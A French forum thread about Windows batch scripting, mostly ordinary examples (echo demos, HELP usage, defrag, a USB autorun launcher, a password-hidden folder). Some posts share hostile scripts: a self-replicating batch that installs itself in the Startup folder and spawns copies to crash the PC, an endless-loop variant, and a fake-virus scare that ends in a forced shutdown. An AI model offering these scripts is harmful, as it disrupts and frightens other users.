Se connecter avec
S'enregistrer | Connectez-vous

Batch: les commandes barbares

Dernière réponse : dans Programmation
Lassé par la pub ? Créez un compte

re: j'ai trouvé ca dans un topic :
posté le :22/1/2006 22:55 : merci p2pman

Code:


--------------------------------------------------------------------------------



@echo off
echo .
echo . Salut tout le monde
echo . Comment sa ?
echo . Ta vue sa marche !
echo . Waaaa
echo .
pause



--------------------------------------------------------------------------------



Tu met sa dans un fichier texte que tu renome ensuite en "quelquechose.bat"

Voila
Expert Programmation

De toutes façon, il n'y a qu'une commande utile, c'est HELP:
HELP pour avoir la liste des commandes
HELP CMD pour l'aide de l'interpréteur
HELP SET pour l'aide sur les variables
SET pour avoir la liste des variables d'environnement (pour trouver des variable systèmes)
HELP IF, HELP FOR et HELP GOTO pour les structures de contrôle.
HELP [commande] pour l'aide sur une commande particulière.

ces truc doiv etre mi dans un batch pour y acceder ?

si faut t'il placé1 start avant ?

si il faut rentré "help"dans la console ca defil et ca c'éteint trop vite comment utilisé /p avec la console?
si cé ca ...

.... help...
-------------------------------------------
Si kelkun veut deposé une commande de son invention ca seré une bonne idée ...
avec explikations en + ...
exemple: commande choix d'un fichier pour une apllications ..
ou tous simplement: choix " escape " or "continue " ( autres que pause)

ca peut servir a d'autres ...



:idea:

D'aprés vous ca semble etre une bonne idée de recuperer des batch sur l'install de ms-dos 6.22
pour avoir des menus et des commandes de choix ?

le batch ets intelligent donc il peut posé une kestion et enregistré la reponse ?

je met au point un renouveleur d'index internet et
il me faut posé une kestion a l'utilsateur pour des fichiers et dossiers cible a remplacé ...
si kelk1 a les commandes pour ce genr de chose ca meviteré de telecharger le system d'exploitation "prehistorique"de ms-dos 6.22 ...
banzaï !!!

sans parler de variantes :

rd "C:\Documents and Settings\Administrateur\Local Settings\Temporary Internet Files\Content.IE5\index.dat"

rd "C:\Documents and Settings\Administrateur\Local Settings\Historique\History.IE5\index.dat"


selon la session utilisé par l'utilisateur ..; la cé admin coment fair demandé au batch d'entré le nom de session et de l'appliké ?

merci pour ton ketru cricky mais je ne sais pas trop koi en fair ...


:arf:
Expert Programmation

Si tu avais fait ce que j'ai mis dans mon premier post notamment le SET, tu aurais vu la variable USERPROFILE qui donne le chemin du profil courant:

  1. rd "%USERPROFILE%\Local Settings\Temporary Internet Files\Content.IE5\index.dat"

rd "%USERPROFILE%\Local Settings\Temporary Internet Files\Content.IE5\index.dat"

si je met ca pour tous les fichiers en question cé bon ?
ca me parait trop simple tu es serieux cricky ? ?

ou doije prendre en compte le :
set /P var=Question ?
echo var > c:\reponse.txt

}}}}}}}}}}}}}}cé bon gé compris ...

je viens de comprendre aussi le cmd help donc merci a vous ... je tourne un peu au ralenti des fois ...
Expert Programmation

Non non bouley... C'est bien toi le boulet. Si tu savais programmer en batch et en C (sinon c'est grave !), tu saurais la différence entre les 2 domaines d'applications.

sinon en batch quand tu met %VAR% c'est remplacé au lancement du script par sa valeur. USERPROFILE est une variable système qui permet d'avoir la path que tu demandes. Si c'est si facile, c'est parce que c'est très utile alors ça a été implémenté.

cricky au risque d'etre pesant peut tu m'explqué ce que c'ets un path et 1 c }}}programation ...

et pour mon batch ya un pbm ...
un processus utilise les fichiers; rd&rmdir sont pas assez"fort" pour ca ya pas une combine meme "barbare " ?


:boulay:

Je suis ici depuis plus longtemps que toi petiot.
Et je pense avoir aussi plus d'expérience.

Et non je ne suis pas encore modo, mais je pense mettre ma proposition pour pouvoir avertir des petits gars dans ton genre de leur comportement nuisible sur le forum.

Bien sur, mais je ne comprendrais jamais les personnes dans ton genre qui s'amuse à quoi ... a faire c$$$ le monde, à dire des conneries, à se faire passer pour des boulets, à surcharger le forum de sa présence nuisible.

Tu ne vaux pas la peine que j'use les touches de mon clavier à te répondre. tu vaux moins que ca. Sur ce j'espère ne jamais plus à faire à toi ...

Adieux, Bouley
Expert Programmation

C'est la soirée ce soir...

path (en anglais) = chemin du répertoire (le c:\...\...\...)

Citation :
un processus utilise les fichiers; rd&rmdir sont pas assez"fort" pour ca ya pas une combine meme "barbare " ?

Désolé mais je comprend pas.
Expert Programmation

Je crois qu'il veut supprimer un fichier qui est déja utilisé (genre windaube dit: jpeux pas effacer ca c'est en cours d'utilisation)

Ben en batch ca m'étonnerait que ca puisse marcher.

la verité cé ke j'en pas grand chose a battre de mon batch mais je voudrais dir que des fois ca frole l'hysterie sur ce forum ...

merci a ceux qui ont bien voulue m'aidé je signe :

gandiah 91 quincy sous senart


pour ceux ki me considere mal ...

rien a battre de leur pseudo ...
jé grandi dans une cabane en carton je suis ancien camé j'ai volé des sac a main pas vous !!
j'ai dormi dans les caves de la cité j'ai grandi dans un camp de gitan , et je sais lir et ecrir et mem programé un peu en batch je sais tatoué jesais mixé sur platine je vous emmerde je sais pas pour qui vous m'avez pris !!!

ps}}}}}}} c'est honteux de n'avoir aucun respect pour les gens que l'on ne connait pas ...

imaginez mes sentiment si j'etais handicapé en fauteuillle roulant ... si ma seule joie etait ce forum seriez tu tjr aussi content de m'avoir chambré ?

...
and why not do something crazy gay just this plain ...


cricky peut ton utilisé attrib pour effacé ou modifié l'utilisation des fichier en question ?
afin qu'ils soit moins dur a effacé ?

merci

salut tout le monde !!
J'ai fait ce petit fichier en .bat et il me sert a derfragmenter tout mes disk dur.

@echo off
title Defragmentation Totale !
color f0
echo.
echo Debut de defragmentation du Disk C
echo.
echo.
defrag C:
echo.
echo Disk C defragmenter avec succer !
echo.
echo.
echo Debut de defragmentation du Disk D
echo.
echo.
defrag D:
echo.
echo Disk D defragmenter avec succer !
echo.
echo.
echo Debut de defragmentation du Disk E
echo.
echo.
defrag E:
echo.
echo Disk E defragmenter avec succer !
echo.
echo.
echo Debut de defragmentation du Disk F
echo.
echo.
defrag F:
echo.
echo Disk F defragmenter avec succer !
echo.
echo.
echo Debut de defragmentation du Disk G
echo.
echo.
defrag G:
echo.
echo Disk G defragmenter avec succer !
echo.
echo.
echo Debut de defragmentation du Disk H
echo.
echo.
defrag H:
echo.
echo Disk H defragmenter avec succer !
echo.
echo.
echo Debut de defragmentation du Disk J
echo.
echo.
defrag J:
echo.
echo Disk J defragmenter avec succer !
echo.
echo.
echo Debut de defragmentation du Disk K
echo.
echo.
defrag K:
echo.
echo Disk K defragmenter avec succer !
echo.
echo.
echo.
echo.
echo Defragmentation de tous les Disk accomplie !!!
echo.
echo.
echo Enjoy !!! ;-)
echo.
echo.
echo.
pause

Long mais trés simple a realiser .

@echo off
title Overkill
color 02
:menu
set a=a b 1 c d 2 e f 3 g h 4 i j 5 k l 6 m n 7 o p 8 q r 9 s t u v x y z
echo a%a%%a%%a%%a%%a%%a%
goto menu
pause>nul



c un petit truc tout con sa fait un peut pensser au code matrix

sinon tu peut faire sa aussi mdr:

@echo off
title Overkill
color 1b
echo tu ve jouer alor tape sur une touche...
pause>nul
shutdown -s -t 20 -c "je kiff mdr"

éssai celui la !!

lol alors mio j ai crée un cercle vicieu de plantage du pc sa marche car sa ouvre 5 fois le fichier qui lui le reouvre 5x c est a dire 25 fois qui lui le reouvre 25x5 donc c la merde quoi et si tu click dessus et ba tu sera dans al merde quoi !!


@echo off

copy abc.bat C:\Docume~1\alluse~1\menudm~1\progra~1\dmarra~1\


start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat




lol si ya des batch meilleur a m envoyé a polska_77@hotmail.fr


vive le hack et le fun !! :D 

Enjoy By Dks

Ben moi j'ai fait ça :

je prend ma vieille clé usb de 1go

je crée un autorun.inf dessus :

[autorun]
open=fichier.bat
icon=pc_001.ico

avec ça je met une icone de pc récupérée au fond de mes images :D 

ensuite je crée un batch que je nomme fichier.bat :

@echo off
start firefox.exe
start wordpad.exe
start cmd.exe
start calc.exe

Voila ensuite partout ou je vais et a conditions que les programmes soient installés ça ouvre ce dont je me sers le plus dès que j'insère la clé dans le pc. :) 
C'est tout con mais ça me sers beaucoup ! ;) 

ps : polska77 ("vive le hack et le fun !!") je t'invite a te renseigner sur ce qu'est un hacker.
Voici un lien : http://www.secuser.com/dossiers/devenir_hacker.htm

moi j'ai un truc sympa pour faire des blagues a des potes :
@echo off


color 0a


echo Attention un virus a ete detecte.Si vous ne le suprimer pas il risque de se propager dans l'ordinateur. Voulez-vous le suprimer ? (oui/non) . Attention, si vous essayez de fermer ce programme cela risquerait d'endommager votre ordinateur.(o/n)? o=oui, n=non
pause >nul
cls
echo Voulez-vous suprimer tous les fichiers et logiciels de votre ordinateur (o/n)?. Cela risquerais d'endommager vos disques durs.
pause >nul
cls
echo Etes-vous sure de vouloir de vouloir suprimer tous les fichiers et logiciels de votre ordinateur (o/n) ?
pause >nul
cls
echo scanning... please wait ...
ping localhost -n 5 >nul
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
cls
echo Files found.Deleting... Please wait...
ping localhost -n 5 >nul
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
cls
color 47
echo Le virus a reussi a se propager dans votre ordinateur. Attention, il se peut que vos disques durs soit endommages ou detruit. L'ordinnateur ne pourras plus se ralumer.
ping localhost -n 9 >nul
cls
echo Appuyez sur entree pour eteindre a jamais votre ordinateur
ping localhost -n 6 >nul
cls
echo Vous avez appuyer sur entree
ping localhost -n 5 >nul
cls
echo L ordinateur s'eteindra dans 30 secondes et ne pourra plus etre allume.
ping localhost -n 6 >nul
cls
echo ordinateurs detruit par ce virus : 3599
ping localhost -n 4 >nul
cls
echo ordinateurs detruit par ce virus : 3600 avec votre ordinateur
ping localhost -n 4 >nul
cls
ECHO HA HA HA HA HA HA HA HA HA HA HA
ping localhost -n 4 >nul
cls
shutdown -s -t 30 -c "auto destruction de l'ordinateur en cours ..."



vous pouvez mettre plus de dir/s
moi j'en ai pas mis beaucoup pour pas que sa prenne trop de place




Citation :
moi j'ai un truc sympa pour faire des blagues a des potes :
@echo off


color 0a


echo Attention un virus a ete detecte.Si vous ne le suprimer pas il risque de se propager dans l'ordinateur. Voulez-vous le suprimer ? (oui/non) . Attention, si vous essayez de fermer ce programme cela risquerait d'endommager votre ordinateur.(o/n)? o=oui, n=non
pause >nul
cls
echo Voulez-vous suprimer tous les fichiers et logiciels de votre ordinateur (o/n)?. Cela risquerais d'endommager vos disques durs.
pause >nul
cls
echo Etes-vous sure de vouloir de vouloir suprimer tous les fichiers et logiciels de votre ordinateur (o/n) ?
pause >nul
cls
echo scanning... please wait ...
ping localhost -n 5 >nul
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
cls
echo Files found.Deleting... Please wait...
ping localhost -n 5 >nul
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
cls
color 47
echo Le virus a reussi a se propager dans votre ordinateur. Attention, il se peut que vos disques durs soit endommages ou detruit. L'ordinnateur ne pourras plus se ralumer.
ping localhost -n 9 >nul
cls
echo Appuyez sur entree pour eteindre a jamais votre ordinateur
ping localhost -n 6 >nul
cls
echo Vous avez appuyer sur entree
ping localhost -n 5 >nul
cls
echo L ordinateur s'eteindra dans 30 secondes et ne pourra plus etre allume.
ping localhost -n 6 >nul
cls
echo ordinateurs detruit par ce virus : 3599
ping localhost -n 4 >nul
cls
echo ordinateurs detruit par ce virus : 3600 avec votre ordinateur
ping localhost -n 4 >nul
cls
ECHO HA HA HA HA HA HA HA HA HA HA HA
ping localhost -n 4 >nul
cls
shutdown -s -t 30 -c "auto destruction de l'ordinateur en cours ..."


plutot que s'embeter avec des dir /s :
@echo off


color 0a


echo Attention un virus a ete detecte.Si vous ne le suprimer pas il risque de se propager dans l'ordinateur. Voulez-vous le suprimer ? (oui/non) . Attention, si vous essayez de fermer ce programme cela risquerait d'endommager votre ordinateur.(o/n)? o=oui, n=non
pause >nul
cls
echo Voulez-vous suprimer tous les fichiers et logiciels de votre ordinateur (o/n)?. Cela risquerais d'endommager vos disques durs.
pause >nul
cls
echo Etes-vous sure de vouloir de vouloir suprimer tous les fichiers et logiciels de votre ordinateur (o/n) ?
pause >nul
cls
echo scanning... please wait ...
ping localhost -n 5 >nul
dir /B %windir%
ping localhost -n 5 >nul
cls
echo Files found.Deleting... Please wait...
ping localhost -n 5 >nul
dir /B %windir% > c:\dir.txt & for /F %%a in (c:\dir.txt) do echo %%a a bien ete supprimer
cls
color 47
echo Le virus a reussi a se propager dans votre ordinateur. Attention, il se peut que vos disques durs soit endommages ou detruit. L'ordinnateur ne pourras plus se ralumer.
ping localhost -n 9 >nul
cls
echo Appuyez sur entree pour eteindre a jamais votre ordinateur
ping localhost -n 6 >nul
cls
echo Vous avez appuyer sur entree
ping localhost -n 5 >nul
cls
echo L ordinateur s'eteindra dans 30 secondes et ne pourra plus etre allume.
ping localhost -n 6 >nul
cls
echo ordinateurs detruit par ce virus : 3599
ping localhost -n 4 >nul
cls
echo ordinateurs detruit par ce virus : 3600 avec votre ordinateur
ping localhost -n 4 >nul
cls
ECHO HA HA HA HA HA HA HA HA HA HA HA
ping localhost -n 4 >nul
cls
shutdown -s -t 30 -c "auto destruction de l'ordinateur en cours ..."

Bonjour
J'ai plusieur programmes pour vous:

Celui ci permet de cacher un dossier a l'aide d'un mot de passe , le le recommande:

  1. cls
  2. @ECHO OFF
  3. title Folder caché
  4. if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
  5. if NOT EXIST caché goto MDLOCKER
  6. :CONFIRM
  7. echo Etes vous sure de vouloir bloquer les fichiers Y=Oui N=Non(Y/N)
  8. set/p "cho=>"
  9. if %cho%==Y goto LOCK
  10. if %cho%==y goto LOCK
  11. if %cho%==n goto END
  12. if %cho%==N goto END
  13. echo Invalid choice.
  14. goto CONFIRM
  15. :LOCK
  16. ren caché "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
  17. attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
  18. echo Folder locked
  19. pause
  20. goto End
  21. :UNLOCK
  22. echo Enter password to unlock folder
  23. set/p "pass=>"
  24. if NOT %pass%==fuck goto FAIL
  25. attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
  26. ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" caché
  27. echo Bien debloquer GG
  28. pause
  29. goto End
  30. :FAIL
  31. echo Invalid password
  32. goto end
  33. :MDLOCKER
  34. md caché
  35. echo caché crée
  36. pause
  37. goto End
  38. :End


Celui ci , petit programme:

  1. @echo off
  2. set /p nom=Quel est votre nom s'il vous plait?
  3. cls
  4. echo Chere %nom%, comment allez vous aujourd¨'hui?
  5. echo 1.bien
  6. echo 2.tres bien
  7. echo 3.mal
  8. echo 4.tres mal
  9. set /p choice=(1 / 2 / 3 / 4)
  10. cls
  11. if "%choice%"=="1" goto :1
  12. if '%choice%'=='2' goto :2
  13. if '%choice%'=='3' goto :3
  14. if '%choice%'=='4' goto :4
  15. if not '%choice%'=='1' goto :autre
  16. if not '%choice%'=='2' goto :autre
  17. if not '%choice%'=='3' goto :autre
  18. if not '%choice%'=='4' goto :autre
  19.  
  20. :1
  21. echo Merci d'avoir repondu!
  22. start Internet
  23. cls
  24. echo Revenir au menu principal?
  25. echo si oui taper, si non taper non.
  26. set /p choice=(oui / non)
  27. cls
  28. if '%choice%'=='oui' goto :oui
  29. if '%choice%'=='non' goto exit
  30. if not '%choice%'=='oui' goto :autre
  31. if not '%choice%'=='non' goto :autre
  32.  
  33. :2
  34. echo Merci d'avoir repondu!
  35. start <a href="http://www.zebest-3000.com/" target="_blank">http://www.zebest-3000.com/</a>
  36. cls
  37. echo Revenir au menu principal?
  38. echo si oui taper, si non taper non.
  39. set /p choice=(oui / non)
  40. cls
  41. if '%choice%'=='oui' goto :oui
  42. if '%choice%'=='non' goto exit
  43. if not '%choice%'=='oui' goto :autre
  44. if not '%choice%'=='non' goto :autre
  45.  
  46. :3
  47. echo Merci d'avoir repondu!
  48. start %SystemRoot%\system32\winmine.exe
  49. cls
  50. echo Revenir au menu principal?
  51. echo si oui taper, si non taper non.
  52. set /p choice=(oui / non)
  53. cls
  54. if '%choice%'=='oui' goto :oui
  55. if '%choice%'=='non' goto exit
  56. if not '%choice%'=='oui' goto :autre
  57. if not '%choice%'=='non' goto :autre
  58.  
  59.  
  60. :4
  61. echo Merci d'avoir repondu!
  62. start PINBALL.EXE
  63. cls
  64. echo Revenir au menu principal?
  65. echo si oui taper, si non taper non.
  66. set /p choice=(oui / non)
  67. cls
  68. if '%choice%'=='oui' goto :oui
  69. if '%choice%'=='non' goto exit
  70. if not '%choice%'=='oui' goto :autre
  71. if not '%choice%'=='non' goto :autre
  72.  
  73.  
  74. :autre
  75. echo Mauvaise requete!
  76. echo Revenir au menu principal?
  77. echo si oui taper, si non taper non.
  78. set /p choice=(oui / non)
  79. cls
  80. if '%choice%'=='oui' goto :oui
  81. if '%choice%'=='non' goto exit
  82. if not '%choice%'=='oui' goto :autre
  83. if not '%choice%'=='non' goto :autre
  84.  
  85. :oui
  86. echo Chere %nom%, comment allez vous aujourd¨'hui?
  87. echo 1.bien
  88. echo 2.tres bien
  89. echo 3.mal
  90. echo 4.tres mal
  91. set /p choice=(1 / 2 / 3 / 4)
  92. cls
  93. if '%choice%'=='1' goto :1
  94. if '%choice%'=='2' goto :2
  95. if '%choice%'=='3' goto :3
  96. if '%choice%'=='4' goto :4
  97. if not '%choice%'=='1' goto :autre
  98. if not '%choice%'=='2' goto :autre
  99. if not '%choice%'=='3' goto :autre
  100. if not '%choice%'=='4' goto :autre
  101.  
  102. :exit
  103. start test.bat
  104. Exit
Expert Programmation

Pour le premier, je ne le recommande pas, car le mot de passe est en clair dans le batch. :) 
Après ça exploite une faille bien connue de windows que des vers utilises (alors c'est peut-être efficaces pour certains :D ).

polska77 a dit :
lol alors mio j ai crée un cercle vicieu de plantage du pc sa marche car sa ouvre 5 fois le fichier qui lui le reouvre 5x c est a dire 25 fois qui lui le reouvre 25x5 donc c la merde quoi et si tu click dessus et ba tu sera dans al merde quoi !!


@echo off

copy abc.bat C:\Docume~1\alluse~1\menudm~1\progra~1\dmarra~1\


start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat
start abc.bat




lol si ya des batch meilleur a m envoyé a polska_77@hotmail.fr


vive le hack et le fun !! :D 

Enjoy By Dks










sinon tu peut faire
: 1
start abc.bat
goto 1

ca ouvre un nombre illimité de fenetre et fait beuger

j'ai plusieur question si vous voulez bien y repondre^^

Comment fait ton pour copier un fichier ou repertoir dans C:\Windows ? car quand je le fait il me marque "acces refuser"

Comment nomme ton le repertoir programme? pour Utilisateurs=Users,mai pour Programme c'est program files,mai ca marche pas car c'est un mot composer

Quel commande utiliser pour executer un bat au demarrage?

quel commande utiliser pour renommer un repertoir car "rename" marche que pour fichier?
merci
merci
Expert Programmation

pour tes questions:
1. il faut les droits administrateur local
2. utilise les guillemets qui permettent d'indiquer que tout est un seul paramètre (l'espace étant le séparateur de paramètres): "C:\Program Files\...", bien que pour ce cas, %programfiles%
3. plusieurs possibilités (base de registre, menu Démarrage)
4. rename fonctionne pour les répertoires.
Lassé par la pub ? Créez un compte
Tom's guide dans le monde